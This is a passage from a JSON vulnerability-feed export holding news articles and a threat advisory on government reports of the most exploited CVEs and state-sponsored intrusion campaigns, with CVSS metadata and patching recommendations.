"https://thehackernews.com/2022/12/fin7-cybercrime-syndicate-emerges-as.html", "cvss": {"score": 9.0, "vector": "AV:N/AC:L/Au:S/C:C/I:C/A:C"}}, {"lastseen": "2022-05-09T03:29:54", "description": "[![Software Vulnerabilities](https://thehackernews.com/new-images/img/b/R29vZ2xl/AVvXsEjhNJNYKsz0zRz-CzaUqAm2MRgt6hyl7sq05Q-XnbDm2VwMedx339MqSyZOAKaZNIywGOU7b4usV_c7PkobISvqG4n1OWRAK6MowARD4h2L_HH0soDHDxo-HLg5bT1n0PRyLyda5DamIal3W2BOTcPpLYlDUc8cUHZ5tqR_YBCcyTEpn2SBhSPC2m-r/s728-e1000/flaws.gif)](<https://thehackernews.com/new-images/img/b/R29vZ2xl/AVvXsEjhNJNYKsz0zRz-CzaUqAm2MRgt6hyl7sq05Q-XnbDm2VwMedx339MqSyZOAKaZNIywGOU7b4usV_c7PkobISvqG4n1OWRAK6MowARD4h2L_HH0soDHDxo-HLg5bT1n0PRyLyda5DamIal3W2BOTcPpLYlDUc8cUHZ5tqR_YBCcyTEpn2SBhSPC2m-r/s728-e100/flaws.gif>)\n\n[Log4Shell](<https://thehackernews.com/2021/12/new-apache-log4j-update-released-to.html>), [ProxyShell](<https://thehackernews.com/2021/11/hackers-exploiting-proxylogon-and.html>), [ProxyLogon](<https://thehackernews.com/2021/03/microsoft-exchange-cyber-attack-what-do.html>), [ZeroLogon](<https://thehackernews.com/2020/09/detecting-and-preventing-critical.html>), and flaws in [Zoho ManageEngine AD SelfService Plus](<https://thehackernews.com/2021/09/cisa-warns-of-actively-exploited-zoho.html>), [Atlassian Confluence](<https://thehackernews.com/2021/09/atlassian-confluence-rce-flaw-abused-in.html>), and [VMware vSphere Client](<https://thehackernews.com/2021/02/critical-rce-flaw-affects-vmware.html>) emerged as some of the top exploited security vulnerabilities in 2021.\n\nThat's according to a \"[Top Routinely Exploited Vulnerabilities](<https://www.cisa.gov/uscert/ncas/alerts/aa22-117a>)\" report released by cybersecurity authorities from the Five Eyes nations Australia, Canada, New Zealand, the U.K., and the U.S.\n\nOther frequently weaponized flaws included a remote code execution bug in Microsoft Exchange Server ([CVE-2020-0688](<https://thehackernews.com/2021/07/top-30-critical-security.html>)), an arbitrary file read vulnerability in Pulse Secure Pulse Connect Secure ([CVE-2019-11510](<https://thehackernews.com/2020/04/pulse-secure-vpn-vulnerability.html>)), and a path traversal defect in Fortinet FortiOS and FortiProxy ([CVE-2018-13379](<https://thehackernews.com/2021/09/hackers-leak-vpn-account-passwords-from.html>)).\n\n[![Most Exploited Software Vulnerabilities](https://thehackernews.com/new-images/img/b/R29vZ2xl/AVvXsEjV_5FJTAhnIsR8JgqL9uQg0ZFxcNG_CjB_UQkbmLMHp3ywOvVYK21BPlGIrlFOkrpjXKZTudyfgIFVbvdoCqezanw_M902zAF_j0D0iiMlBFYA9xgTU3PqsuazBsluMEFz04W5fr6wR3IcoNmrMSzQaRgR5ai54nGTQjKTBNImgKDAlUP3blp4-t8a/s728-e1000/cisa.jpg)](<https://thehackernews.com/new-images/img/b/R29vZ2xl/AVvXsEjV_5FJTAhnIsR8JgqL9uQg0ZFxcNG_CjB_UQkbmLMHp3ywOvVYK21BPlGIrlFOkrpjXKZTudyfgIFVbvdoCqezanw_M902zAF_j0D0iiMlBFYA9xgTU3PqsuazBsluMEFz04W5fr6wR3IcoNmrMSzQaRgR5ai54nGTQjKTBNImgKDAlUP3blp4-t8a/s728-e100/cisa.jpg>)\n\nNine of the top 15 routinely exploited flaws were remote code execution vulnerabilities, followed by two privilege escalation weaknesses, and one each of security feature bypass, arbitrary code execution, arbitrary file read, and path traversal flaws.\n\n\"Globally, in 2021, malicious cyber actors targeted internet-facing systems, such as email servers and virtual private network (VPN) servers, with exploits of newly disclosed vulnerabilities,\" the agencies said in a joint advisory.\n\n\"For most of the top exploited vulnerabilities, researchers or other actors released proof of concept (PoC) code within two weeks of the vulnerability's disclosure, likely facilitating exploitation by a broader range of malicious actors.\"\n\nTo mitigate the risk of exploitation of publicly known software vulnerabilities, the agencies are recommending organizations to apply patches in a timely fashion and implement a centralized patch management system.\n\n \n\n\nFound this article interesting? Follow THN on [Facebook](<https://www.facebook.com/thehackernews>), [Twitter _\uf099_](<https://twitter.com/thehackersnews>) and [LinkedIn](<https://www.linkedin.com/company/thehackernews/>) to read more exclusive content we post.\n", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "CHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 10.0, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H", "version": "3.1", "userInteraction": "NONE"}, "impactScore": 6.0}, "published": "2022-04-28T05:41:00", "type": "thn", "title": "U.S. Cybersecurity Agency Lists 2021's Top 15 Most Exploited Software Vulnerabilities", "bulletinFamily": "info", "cvss2": {"severity": "HIGH", "exploitabilityScore": 8.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 9.0, "vectorString": "AV:N/AC:L/Au:S/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "SINGLE"}, "impactScore": 10.0, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2018-13379", "CVE-2019-11510", "CVE-2020-0688"], "modified": "2022-05-09T02:55:12", "id": "THN:3266EB2F73FA4A955845C8FEBA4E73C5", "href": "https://thehackernews.com/2022/04/us-cybersecurity-agency-lists-2021s-top.html", "cvss": {"score": 9.0, "vector": "AV:N/AC:L/Au:S/C:C/I:C/A:C"}}, {"lastseen": "2022-05-09T12:40:09", "description": "[![Chinese Hackers](https://thehackernews.com/images/-S81ZTpL3VW0/X2CFi_g7l0I/AAAAAAAAAww/bXeyXz56F-0V-P2VhHdoO5qJllbhNqfswCLcBGAsYHQ/s728-e100/hacking.jpg)](<https://thehackernews.com/images/-S81ZTpL3VW0/X2CFi_g7l0I/AAAAAAAAAww/bXeyXz56F-0V-P2VhHdoO5qJllbhNqfswCLcBGAsYHQ/s728-e100/hacking.jpg>)\n\nThe US Cybersecurity and Infrastructure Security Agency (CISA) issued a [new advisory](<https://us-cert.cisa.gov/ncas/alerts/aa20-258a>) on Monday about a wave of cyberattacks carried by Chinese nation-state actors targeting US government agencies and private entities. \n \n\"CISA has observed Chinese [Ministry of State Security]-affiliated cyber threat actors operating from the People's Republic of China using commercially available information sources and open-source exploitation tools to target US Government agency networks,\" the cybersecurity agency said. \n \nOver the past 12 months, the victims were identified through sources such as [Shodan](<https://www.shodan.io/>), the Common Vulnerabilities and Exposure ([CVE](<https://cve.mitre.org/>)) database, and the National Vulnerabilities Database (NVD), exploiting the public release of a vulnerability to pick vulnerable targets and further their motives. \n \nBy compromising legitimate websites and leveraging spear-phishing emails with malicious links pointing to attacker-owned sites in order to gain initial access, the Chinese threat actors have deployed open-source tools such as [Cobalt Strike](<https://www.cobaltstrike.com/>), [China Chopper Web Shell](<https://blog.talosintelligence.com/2019/08/china-chopper-still-active-9-years-later.html>), and [Mimikatz](<https://github.com/gentilkiwi/mimikatz>) credential stealer to extract sensitive information from infected systems. \n \nThat's not all. Taking advantage of the fact that organizations aren't quickly mitigating known software vulnerabilities, the state-sponsored attackers are \"targeting, scanning, and probing\" US government networks for unpatched flaws in F5 Networks Big-IP Traffic Management User Interface ([CVE-2020-5902](<https://support.f5.com/csp/article/K52145254>)), Citrix VPN ([CVE-2019-19781](<https://www.citrix.com/blogs/2020/01/24/citrix-releases-final-fixes-for-cve-2019-19781/>)), Pulse Secure VPN ([CVE-2019-11510](<https://kb.pulsesecure.net/articles/Pulse_Security_Advisories/SA44101>)), and Microsoft Exchange Servers ([CVE-2020-0688](<https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2020-0688>)) to compromise targets. \n \n\"Cyber threat actors also continue to identify large repositories of credentials that are available on the internet to enable brute-force attacks,\" the agency said. \"While this sort of activity is not a direct result of the exploitation of emergent vulnerabilities, it demonstrates that cyber threat actors can effectively use available open-source information to accomplish their goals.\" \n \nThis is not the first time Chinese actors have worked on behalf of China's MSS to infiltrate various industries across the US and other countries. \n \nIn July, the US Department of Justice (DoJ) [charged two Chinese nationals](<https://thehackernews.com/2020/07/chinese-hackers-covid19.html>) for their alleged involvement in a decade-long hacking spree spanning high tech manufacturing, industrial engineering, defense, educational, gaming software, and pharmaceutical sectors with an aim to steal trade secrets and confidential business information. \n \nBut it's not just China. Earlier this year, Israeli security firm ClearSky uncovered a cyberespionage campaign dubbed \"[Fox Kitten](<https://thehackernews.com/2020/02/iranian-hackers-vpn-vulnerabilities.html>)\" that targeted government, aviation, oil and gas, and security companies by exploiting unpatched VPN vulnerabilities to penetrate and steal information from target companies, prompting CISA to issue [multiple security alerts](<https://thehackernews.com/2020/04/pulse-secure-vpn-vulnerability.html>) urging businesses to secure their VPN environments. \n \nStating that sophisticated cyber threat actors will continue to use open-source resources and tools to single out networks with low-security posture, CISA has recommended organizations to patch [routinely exploited vulnerabilities](<https://us-cert.cisa.gov/ncas/alerts/aa20-133a>), and \"audit their configuration and patch management programs to ensure they can track and mitigate emerging threats.\"\n", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "CHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 10.0, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H", "version": "3.1", "userInteraction": "NONE"}, "impactScore": 6.0}, "published": "2020-09-15T09:14:00", "type": "thn", "title": "CISA: Chinese Hackers Exploiting Unpatched Devices to Target U.S. Agencies", "bulletinFamily": "info", "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 10.0, "vectorString": "AV:N/AC:L/Au:N/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 10.0, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2019-11510", "CVE-2019-19781", "CVE-2020-0688", "CVE-2020-5902"], "modified": "2020-09-15T09:14:30", "id": "THN:0E6CD47141AAF54903BD6C1F9BD96F44", "href": "https://thehackernews.com/2020/09/chinese-hackers-agencies.html", "cvss": {"score": 10.0, "vector": "AV:N/AC:L/Au:N/C:C/I:C/A:C"}}, {"lastseen": "2022-05-09T12:37:44", "description": "[![Critical Infrastructure](https://thehackernews.com/new-images/img/a/AVvXsEivOb0--JbZm0DKk17OtegvDf0JMgVq1rnkokni7RLCsqEBf17tLvxhVDjVCC8yZeN6jpVJCkJlb3GTbW4f29ZlHKK9dZKnxCnVgFaE0N7nhOJe9r3HRvLR-reRBzNHAdx6aUoQDU5yI90E1LqRdEM3guLQQv95JsKCUSy1ZAoTckx4Q4_Vb6CxtXGe=s728-e1000)](<https://thehackernews.com/new-images/img/a/AVvXsEivOb0--JbZm0DKk17OtegvDf0JMgVq1rnkokni7RLCsqEBf17tLvxhVDjVCC8yZeN6jpVJCkJlb3GTbW4f29ZlHKK9dZKnxCnVgFaE0N7nhOJe9r3HRvLR-reRBzNHAdx6aUoQDU5yI90E1LqRdEM3guLQQv95JsKCUSy1ZAoTckx4Q4_Vb6CxtXGe>)\n\nAmid renewed tensions between the U.S. and Russia over [Ukraine](<https://apnews.com/article/joe-biden-europe-russia-ukraine-geneva-090d1bd24f7ced8ab84907a9ed031878>) and [Kazakhstan](<https://thehill.com/policy/international/588860-tensions-between-us-russia-rise-over-military-involvement-in-kazakhstan>), American cybersecurity and intelligence agencies on Tuesday released a joint advisory on how to detect, respond to, and mitigate cyberattacks orchestrated by Russian state-sponsored actors.\n\nTo that end, the Cybersecurity and Infrastructure Security Agency (CISA), Federal Bureau of Investigation (FBI), and National Security Agency (NSA) have laid bare the tactics, techniques, and procedures (TTPs) adopted by the adversaries, including spear-phishing, brute-force, and [exploiting known vulnerabilities](<https://www.cisa.gov/known-exploited-vulnerabilities-catalog>) to gain initial access to target networks.\n\nThe list of flaws exploited by Russian hacking groups to gain an initial foothold, which the agencies said are \"common but effective,\" are below \u2014\n\n * [CVE-2018-13379](<https://nvd.nist.gov/vuln/detail/CVE-2018-13379>) (FortiGate VPNs)\n * [CVE-2019-1653](<https://nvd.nist.gov/vuln/detail/CVE-2019-1653>) (Cisco router)\n * [CVE-2019-2725](<https://nvd.nist.gov/vuln/detail/CVE-2019-2725>) (Oracle WebLogic Server)\n * [CVE-2019-7609](<https://nvd.nist.gov/vuln/detail/CVE-2019-7609>) (Kibana)\n * [CVE-2019-9670](<https://nvd.nist.gov/vuln/detail/CVE-2019-9670>) (Zimbra software)\n * [CVE-2019-10149](<https://nvd.nist.gov/vuln/detail/CVE-2019-10149>) (Exim Simple Mail Transfer Protocol)\n * [CVE-2019-11510](<https://nvd.nist.gov/vuln/detail/CVE-2019-11510>) (Pulse Secure)\n * [CVE-2019-19781](<https://nvd.nist.gov/vuln/detail/CVE-2019-19781>) (Citrix)\n * [CVE-2020-0688](<https://nvd.nist.gov/vuln/detail/CVE-2020-0688>) (Microsoft Exchange)\n * [CVE-2020-4006](<https://nvd.nist.gov/vuln/detail/CVE-2020-4006>) (VMWare)\n * [CVE-2020-5902](<https://nvd.nist.gov/vuln/detail/CVE-2020-5902>) (F5 Big-IP)\n * [CVE-2020-14882](<https://nvd.nist.gov/vuln/detail/CVE-2020-14882>) (Oracle WebLogic)\n * [CVE-2021-26855](<https://nvd.nist.gov/vuln/detail/CVE-2021-26855>) (Microsoft Exchange, exploited frequently alongside [CVE-2021-26857](<https://nvd.nist.gov/vuln/detail/CVE-2021-26857>), [CVE-2021-26858](<https://nvd.nist.gov/vuln/detail/CVE-2021-26858>), and [CVE-2021-27065](<https://nvd.nist.gov/vuln/detail/CVE-2021-27065>))\n\n\"Russian state-sponsored APT actors have also demonstrated sophisticated tradecraft and cyber capabilities by compromising third-party infrastructure, compromising third-party software, or developing and deploying custom malware,\" the agencies [said](<https://www.cisa.gov/uscert/ncas/current-activity/2022/01/11/cisa-fbi-and-nsa-release-cybersecurity-advisory-russian-cyber>).\n\n\"The actors have also demonstrated the ability to maintain persistent, undetected, long-term access in compromised environments \u2014 including cloud environments \u2014 by using legitimate credentials.\"\n\nRussian APT groups have been historically observed setting their sights on operational technology (OT) and industrial control systems (ICS) with the goal of deploying destructive malware, chief among them being the intrusion campaigns against Ukraine and the U.S. energy sector as well as attacks exploiting trojanized [SolarWinds Orion updates](<https://thehackernews.com/2021/12/solarwinds-hackers-targeting-government.html>) to breach the networks of U.S. government agencies.\n\nTo increase cyber resilience against this threat, the agencies recommend mandating multi-factor authentication for all users, looking out for signs of abnormal activity implying lateral movement, enforcing network segmentation, and keeping operating systems, applications, and firmware up to date.\n\n\"Consider using a centralized patch management system,\" the advisory reads. \"For OT networks, use a risk-based assessment strategy to determine the OT network assets and zones that should participate in the patch management program.\"\n\nOther recommended best practices are as follows \u2014\n\n * Implement robust log collection and retention\n * Require accounts to have strong passwords\n * Enable strong spam filters to prevent phishing emails from reaching end-users\n * Implement rigorous configuration management programs\n * Disable all unnecessary ports and protocols\n * Ensure OT hardware is in read-only mode\n \n\n\nFound this article interesting? Follow THN on [Facebook](<https://www.facebook.com/thehackernews>), [Twitter _\uf099_](<https://twitter.com/thehackersnews>) and [LinkedIn](<https://www.linkedin.com/company/thehackernews/>) to read more exclusive content we post.\n", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "CHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 10.0, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H", "version": "3.1", "userInteraction": "NONE"}, "impactScore": 6.0}, "published": "2022-01-12T09:14:00", "type": "thn", "title": "FBI, NSA and CISA Warns of Russian Hackers Targeting Critical Infrastructure", "bulletinFamily": "info", "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 10.0, "vectorString": "AV:N/AC:L/Au:N/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 10.0, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2018-13379", "CVE-2019-10149", "CVE-2019-11510", "CVE-2019-1653", "CVE-2019-19781", "CVE-2019-2725", "CVE-2019-7609", "CVE-2019-9670", "CVE-2020-0688", "CVE-2020-14882", "CVE-2020-4006", "CVE-2020-5902", "CVE-2021-26855", "CVE-2021-26857", "CVE-2021-26858", "CVE-2021-27065"], "modified": "2022-01-12T10:47:49", "id": "THN:3E9680853FA3A677106A8ED8B7AACBE6", "href": "https://thehackernews.com/2022/01/fbi-nsa-and-cisa-warns-of-russian.html", "cvss": {"score": 10.0, "vector": "AV:N/AC:L/Au:N/C:C/I:C/A:C"}}, {"lastseen": "2022-05-09T12:39:17", "description": "[![Security Vulnerabilities](https://thehackernews.com/images/-_sUoUckANJU/YQJlBsicySI/AAAAAAAADX0/BEDLvJhwqzYImk1o5ewZhnKeXxnoL0D0wCLcBGAsYHQ/s728-e1000/Security-Vulnerabilities.jpg)](<https://thehackernews.com/images/-_sUoUckANJU/YQJlBsicySI/AAAAAAAADX0/BEDLvJhwqzYImk1o5ewZhnKeXxnoL0D0wCLcBGAsYHQ/s0/Security-Vulnerabilities.jpg>)\n\nIntelligence agencies in Australia, the U.K., and the U.S. issued a joint advisory on Wednesday detailing the most exploited vulnerabilities in 2020 and 2021, once again demonstrating how threat actors are able to swiftly weaponize publicly disclosed flaws to their advantage.\n\n\"Cyber actors continue to exploit publicly known\u2014and often dated\u2014software vulnerabilities against broad target sets, including public and private sector organizations worldwide,\" the U.S. Cybersecurity and Infrastructure Security Agency (CISA), the Australian Cyber Security Centre (ACSC), the United Kingdom's National Cyber Security Centre (NCSC), and the U.S. Federal Bureau of Investigation (FBI) [noted](<https://us-cert.cisa.gov/ncas/alerts/aa21-209a>).\n\n\"However, entities worldwide can mitigate the vulnerabilities listed in this report by applying the available patches to their systems and implementing a centralized patch management system.\"\n\nThe top 30 vulnerabilities span a wide range of software, including remote work, virtual private networks (VPNs), and cloud-based technologies, that cover a broad spectrum of products from Microsoft, VMware, Pulse Secure, Fortinet, Accellion, Citrix, F5 Big IP, Atlassian, and Drupal.\n\nThe most routinely exploited flaws in 2020 are as follows -\n\n * [**CVE-2019-19781**](<https://nvd.nist.gov/vuln/detail/CVE-2019-19781>) (CVSS score: 9.8) - Citrix Application Delivery Controller (ADC) and Gateway directory traversal vulnerability\n * [**CVE-2019-11510**](<https://nvd.nist.gov/vuln/detail/CVE-2019-11510>) (CVSS score: 10.0) - Pulse Connect Secure arbitrary file reading vulnerability\n * [**CVE-2018-13379**](<https://nvd.nist.gov/vuln/detail/CVE-2018-13379>) (CVSS score: 9.8) - Fortinet FortiOS path traversal vulnerability leading to system file leak\n * [**CVE-2020-5902**](<https://nvd.nist.gov/vuln/detail/CVE-2020-5902>) (CVSS score: 9.8) - F5 BIG-IP remote code execution vulnerability\n * [**CVE-2020-15505**](<https://nvd.nist.gov/vuln/detail/CVE-2020-15505>) (CVSS score: 9.8) - MobileIron Core & Connector remote code execution vulnerability\n * [**CVE-2020-0688**](<https://nvd.nist.gov/vuln/detail/CVE-2020-0688>) (CVSS score: 8.8) - Microsoft Exchange memory corruption vulnerability\n * [**CVE-2019-3396**](<https://nvd.nist.gov/vuln/detail/CVE-2019-3396>) (CVSS score: 9.8) - Atlassian Confluence Server remote code execution vulnerability\n * [**CVE-2017-11882**](<https://nvd.nist.gov/vuln/detail/CVE-2017-11882>) (CVSS score: 7.8) - Microsoft Office memory corruption vulnerability\n * [**CVE-2019-11580**](<https://nvd.nist.gov/vuln/detail/CVE-2019-11580>) (CVSS score: 9.8) - Atlassian Crowd and Crowd Data Center remote code execution vulnerability\n * [**CVE-2018-7600**](<https://nvd.nist.gov/vuln/detail/CVE-2018-7600>) (CVSS score: 9.8) - Drupal remote code execution vulnerability\n * [**CVE-2019-18935**](<https://nvd.nist.gov/vuln/detail/CVE-2019-18935>) (CVSS score: 9.8) - Telerik .NET deserialization vulnerability resulting in remote code execution\n * [**CVE-2019-0604**](<https://nvd.nist.gov/vuln/detail/CVE-2019-0604>) (CVSS score: 9.8) - Microsoft SharePoint remote code execution vulnerability\n * [**CVE-2020-0787**](<https://nvd.nist.gov/vuln/detail/CVE-2020-0787>) (CVSS score: 7.8) - Windows Background Intelligent Transfer Service (BITS) elevation of privilege vulnerability\n * [**CVE-2020-1472**](<https://nvd.nist.gov/vuln/detail/CVE-2020-1472>) (CVSS score: 10.0) - Windows [Netlogon elevation of privilege](<https://thehackernews.com/2021/02/microsoft-issues-patches-for-in-wild-0.html>) vulnerability\n\nThe list of vulnerabilities that have come under active attack thus far in 2021 are listed below -\n\n * [Microsoft Exchange Server](<https://thehackernews.com/2021/03/urgent-4-actively-exploited-0-day-flaws.html>): [CVE-2021-26855](<https://nvd.nist.gov/vuln/detail/CVE-2021-26855>), [CVE-2021-26857](<https://nvd.nist.gov/vuln/detail/CVE-2021-26857>), [CVE-2021-26858](<https://nvd.nist.gov/vuln/detail/CVE-2021-26858>), and [CVE-2021-27065](<https://nvd.nist.gov/vuln/detail/CVE-2021-27065>) (aka \"ProxyLogon\")\n * [Pulse Secure](<https://thehackernews.com/2021/05/new-high-severity-vulnerability.html>): [CVE-2021-22893](<https://nvd.nist.gov/vuln/detail/CVE-2021-22893>), [CVE-2021-22894](<https://nvd.nist.gov/vuln/detail/CVE-2021-22894>), [CVE-2021-22899](<https://nvd.nist.gov/vuln/detail/CVE-2021-22899>), and [CVE-2021-22900](<https://nvd.nist.gov/vuln/detail/CVE-2021-22900>)\n * [Accellion](<https://thehackernews.com/2021/03/extortion-gang-breaches-cybersecurity.html>): [CVE-2021-27101](<https://nvd.nist.gov/vuln/detail/CVE-2021-27101>), [CVE-2021-27102](<https://nvd.nist.gov/vuln/detail/CVE-2021-27102>), [CVE-2021-27103](<https://nvd.nist.gov/vuln/detail/CVE-2021-27103>), and [CVE-2021-27104](<https://nvd.nist.gov/vuln/detail/CVE-2021-27104>)\n * [VMware](<https://thehackernews.com/2021/06/alert-critical-rce-bug-in-vmware.html>): [CVE-2021-21985](<https://nvd.nist.gov/vuln/detail/CVE-2021-21985>)\n * Fortinet: [CVE-2018-13379](<https://nvd.nist.gov/vuln/detail/CVE-2018-13379>), [CVE-2020-12812](<https://nvd.nist.gov/vuln/detail/CVE-2020-12812>), and [CVE-2019-5591](<https://nvd.nist.gov/vuln/detail/CVE-2019-5591>)\n\nThe development also comes a week after MITRE [published](<https://cwe.mitre.org/top25/archive/2021/2021_cwe_top25.html>) a list of top 25 \"most dangerous\" software errors that could lead to serious vulnerabilities that could be exploited by an adversary to take control of an affected system, obtain sensitive information, or cause a denial-of-service condition.\n\n\"The advisory [...] puts the power in every organisation's hands to fix the most common vulnerabilities, such as unpatched VPN gateway devices,\" NCSC Director for Operations, Paul Chichester, [said](<https://www.ncsc.gov.uk/news/global-cyber-vulnerabilities-advice>), urging the need to prioritize patching to minimize the risk of being exploited by malicious actors.\n\n \n\n\nFound this article interesting? Follow THN on [Facebook](<https://www.facebook.com/thehackernews>), [Twitter _\uf099_](<https://twitter.com/thehackersnews>) and [LinkedIn](<https://www.linkedin.com/company/thehackernews/>) to read more exclusive content we post.\n", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "CHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 10.0, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H", "version": "3.1", "userInteraction": "NONE"}, "impactScore": 6.0}, "published": "2021-07-29T08:21:00", "type": "thn", "title": "Top 30 Critical Security Vulnerabilities Most Exploited by Hackers", "bulletinFamily": "info", "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 10.0, "vectorString": "AV:N/AC:L/Au:N/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 10.0, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2017-11882", "CVE-2018-13379", "CVE-2018-7600", "CVE-2019-0604", "CVE-2019-11510", "CVE-2019-11580", "CVE-2019-18935", "CVE-2019-19781", "CVE-2019-3396", "CVE-2019-5591", "CVE-2020-0688", "CVE-2020-0787", "CVE-2020-12812", "CVE-2020-1472", "CVE-2020-15505", "CVE-2020-5902", "CVE-2021-21985", "CVE-2021-22893", "CVE-2021-22894", "CVE-2021-22899", "CVE-2021-22900", "CVE-2021-26855", "CVE-2021-26857", "CVE-2021-26858", "CVE-2021-27065", "CVE-2021-27101", "CVE-2021-27102", "CVE-2021-27103", "CVE-2021-27104"], "modified": "2021-08-04T09:03:14", "id": "THN:B95DC27A89565323F0F8E6350D24D801", "href": "https://thehackernews.com/2021/07/top-30-critical-security.html", "cvss": {"score": 10.0, "vector": "AV:N/AC:L/Au:N/C:C/I:C/A:C"}}], "hivepro": [{"lastseen": "2022-02-18T13:30:09", "description": "THREAT LEVEL: Red. For a detailed advisory, download the pdf file here In a joint cybersecurity advisory, the Federal Bureau of Investigation (FBI), the National Security Agency (NSA), the Cybersecurity and Infrastructure Security Agency (CISA) revealed that Russian state-sponsored threat actors targeted U.S. defense contractors from January 2020 to February 2022. The threat actors exfiltrated sensitive data from small and large companies in the U.S. working on defense and intelligence contracts, including missile development, vehicle & aircraft and software development. Threat actors gain initial access by using brute force to identify valid account credentials for domain and M365 accounts. Using compromised M365 credentials, including global admin accounts, the threat actors can gain access to M365 resources such as SharePoint pages user-profiles and user emails. They further used harvested credentials in conjunction with known vulnerabilities CVE-2020-0688 & CVE-2020-17144 in the Microsoft exchange server to escalate privileges and gain remote code execution (RCE) on the exposed applications. In addition, they have exploited CVE-2018-13379 on FortiClient to obtain credentials to access networks. After gaining access to networks, the threat actors map the Active Directory (AD) and connect to domain controllers, from which they exfiltrated credentials and export copies of the AD database "ntds.dit". In multiple breaches, they maintained persistence for at least 6 months in the network continuously exfiltrating sensitive emails and data. Organizations can mitigate the risk by following the recommendations: \u2022Monitor the use of stolen credentials. \u2022Keep all operating systems and software up to date. \u2022Enable multifactor authentication (MFA) for all users, without exception. \u2022 The Techniques commonly used by Russian cyber actor, APT28 are: TA0043: Reconnaissance TA0001: Initial Access TA0004: Privilege Escalation TA0005: Defense Evasion TA0006: Credential Access TA0007: Discovery TA0009: Collection TA0003: Persistence TA0008: Lateral Movement TA0011: Command and Control T1027: Obfuscated Files or Information T1133: External Remote Services T1190: Exploit Public-Facing Application T1083: File and Directory Discovery T1482: Domain Trust Discovery T1213.002: Data from Information Repositories: SharePoint T1090.003: Proxy: Multi-hop Proxy T1589.001: Gather Victim Identity Information: Credentials T1003.003: OS Credential Dumping: NTDS T1110.003: Brute Force: Password Spraying T1566.002: Phishing: Spearphishing Link T1078.002: Valid Accounts: Domain Accounts T1078.004: Valid Accounts: Cloud Accounts Actor Details Vulnerability Details References https://www.cisa.gov/uscert/ncas/alerts/aa22-047a", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "baseScore": 9.8, "privilegesRequired": "NONE", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "userInteraction": "NONE", "version": "3.1"}, "impactScore": 5.9}, "published": "2022-02-18T12:20:35", "type": "hivepro", "title": "Russian state-sponsored cyber actors targeting U.S. critical infrastructure", "bulletinFamily": "info", "cvss2": {"severity": "HIGH", "exploitabilityScore": 8.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 9.0, "vectorString": "AV:N/AC:L/Au:S/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "SINGLE"}, "impactScore": 10.0, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2018-13379", "CVE-2020-0688", "CVE-2020-17144"], "modified": "2022-02-18T12:20:35", "id": "HIVEPRO:FD730BCAD086DD8C995242D13B38EBC8", "href": 